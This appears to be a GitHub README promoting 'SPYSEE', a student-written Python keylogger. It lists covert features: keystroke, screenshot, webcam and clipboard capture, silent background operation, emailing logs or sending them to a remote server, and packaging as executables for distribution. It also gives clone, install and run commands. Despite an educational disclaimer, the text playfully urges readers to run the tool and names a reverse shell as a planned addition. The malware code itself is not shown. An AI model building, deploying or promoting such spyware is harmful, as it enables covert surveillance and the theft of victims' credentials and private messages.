I am pleased to announce the development of **SPYSEE**, my first malware as a Cyber Security student specializing in red teaming. SPYSEE is a sophisticated keylogger designed to capture and record keystrokes on a target system, gathering sensitive information such as credentials and messages. This project has been a significant milestone in my journey, providing valuable hands-on experience with offensive security techniques. Developing SPYSEE has deepened my understanding of keylogging methods and the importance of defending against such threats, reinforcing my passion for mastering the complexities of cybersecurity..
SPYSEE is intended solely for educational purposes and ethical cybersecurity research. It is designed to demonstrate keylogging threats in a controlled environment and should not be used for any unauthorized or illegal activity. By using this software, you confirm that you are 18 years or older and fully understand the legal risks involved. Any misuse, such as unauthorized data collection or system compromise, is strictly prohibited and is the sole responsibility of the user. The developer is not liable for any damages or legal consequences arising from improper use. Always obtain permission before using this tool on any system.
To get a sneak peek of the project, go ahead and run this on your device... if you're in the mood for some digital thrill-seeking (don't worry, your keyboard might survive). Just kidding!no need to panic! 😄
Our project SPYSEE offers a range of functionalities " Beware of us "
- Keystroke Logging: Records every keystroke pressed by the user, including special keys like space, enter, tab, and control.
- Screenshot Capture: Automatically captures screenshots of the screen every time the spacebar is pressed, providing visual evidence of user activity.
- Camera Snapshots: Takes pictures using the system’s camera whenever the "Enter" key is pressed, capturing the environment in real-time.
- Clipboard Monitoring: Captures the contents of the clipboard when the "Ctrl" key is pressed, logging any copied text or sensitive data.
- Silent Background Operation: The keylogger runs quietly in the background without alerting the user, making it highly discreet.
- Scheduled Shutdown: On pressing the "Tab" key, the system is scheduled to shut down in 60 seconds.
- Email Reporting (Optional): Logs can be sent directly to the specified email address, providing a remote monitoring option.
- Automatic File Logging: Keylogs, screenshots, clipboard data, and camera captures are stored locally in designated folders for easy access.
- Customizable Reporting Interval: Choose the interval for generating reports, with logs being saved or emailed every specified number of seconds.
- Seamless Deployment: Converts SPYSEE and other Python scripts into standalone executables, ensuring cross-platform compatibility and bundling all dependencies into a single file for easy distribution and execution on any system without requiring Python.
- Remote Data Transmission: Sends captured data directly to a specified server IP for centralized collection, eliminating local storage on the attacked machine.
1. Clone the repository
git clone https://github.com/Minhal128/SPYSEE.git
2. Install & Run python Language & its modules
pip install opencv-python
pip install Pillow
pip install pyperclip
pip install keyboard
# Run the executable
python keylogger.py
or
python3 keylogger.py
This keylogger captures keystrokes and system events, including screenshots, webcam images, and clipboard data, while sending reports at specified intervals. Below is a detailed breakdown of its functionalities:
- opencv-python
- Pillow
- pyperclip
- keyboard
- request
-
Key Logging: The keylogger uses the keyboard library to listen for keyboard events.
When a key is pressed, the
key_press
method captures the key name and appends it to the log. -
Logging Mechanism:
- Continuously logs keystrokes to a string variable.
-
At regular intervals (defined by
SEND_REPORT_EVERY
, set to 40 seconds), thereport
method is invoked to handle log data:- Sends logs via email or saves them to a file based on the specified report method.
-
File and Email Reporting:
- Logs can be sent through email using the
smtplib
library, formatted in both plain text and HTML: - Email Configuration: Requires valid email credentials for sending logs.
- Alternatively, logs are appended to
keylog.txt
in the designated shared folder (H:\Development\logme
).
- Logs can be sent through email using the
-
Screenshot and Webcam Capture:
- Captures screenshots using
ImageGrab
from thePIL
library, saving them in thescreenshots
directory. - Takes webcam pictures using
OpenCV
, storing them in thecamera_pics
directory.
- Captures screenshots using
-
Clipboard Monitoring:
- Monitors the clipboard for changes and saves its content to
clipboard.txt
each time the Ctrl key is pressed: - Timestamps each entry for tracking when the clipboard data was captured.
- Monitors the clipboard for changes and saves its content to
-
Scheduled Shutdown:
- Offers the ability to shut down the computer 60 seconds after pressing the Tab key:
- Ensures users are notified of the scheduled shutdown.
-
Silent Operation:
- Designed to operate discreetly without user interaction or visible output:
- The logging process continues in the background until stopped by pressing the
Esc
key.
To run the keylogger:
- Ensure the necessary libraries are installed (
opencv-python
,Pillow
,pyperclip
,keyboard
). - Update the email settings with valid credentials.
- Execute the script to allow it to run in the background, capturing the specified data.
This keylogger is intended for educational purposes and ethical hacking. Always obtain explicit permission from users before running such software on their devices.
Run it to know the features 😈
- Keylogger Implementation, Log Management, Timer and Reporting, Error Handling, Deployment, Testing.
- Screenshot Functionality, Camera Capture, Clipboard Management, Email logs, Integration of venv.
- Performance Overhead
- No Data Encryption
- Single Reporting Method
- Not able to bypass MAC os
- Dynamic Configuration
- Data Visualization
- Cloud User Management Database
- Reverse shell (27/11/2024 😈)
- Python Programming: Enhanced proficiency in Python, particularly with libraries like
keyboard
,cv2
, andPIL
. - Event Handling: Gained experience in handling keyboard events and creating responsive applications.
- File Management: Learned to read from and write to files, including managing different file types for logging data.
- Email Functionality: Implemented email features using the
smtplib
library for sending logs, gaining insights into how email protocols work. - Image Processing: Developed skills in capturing screenshots and camera images using
PIL
andOpenCV
. - Error Handling: Improved ability to anticipate potential errors and implement exception handling to create more robust applications.
- Multithreading: Gained understanding of using threading to perform background tasks, like periodic reporting.
- Keylogging Ethics: Understood the ethical implications and potential legal issues surrounding keylogging software.
- Data Privacy: Learned about the importance of data security, especially when handling sensitive information like keystrokes and clipboard data.
- System Resources: Gained awareness of how background processes can impact system performance.
- Modular Design: Applied principles of modular programming by organizing code into functions and classes for better readability and maintainability.
- Version Control: If using version control (like Git) for the project, learned about managing code changes and collaboration.
- Testing and Debugging: Improved skills in testing and debugging code to ensure functionality and reliability.
- Data Encryption: Consider learning about data encryption techniques to secure logged information.
- Cross-Platform Development: Explore how to make applications compatible across different operating systems.
- User Interface Design: Consider diving into UI/UX design to enhance user interaction with applications.
- Networking Concepts: Deepen understanding of networking and protocols to improve the communication aspect of applications.
This project needs a ⭐ from you. Don't forget to leave a star ⭐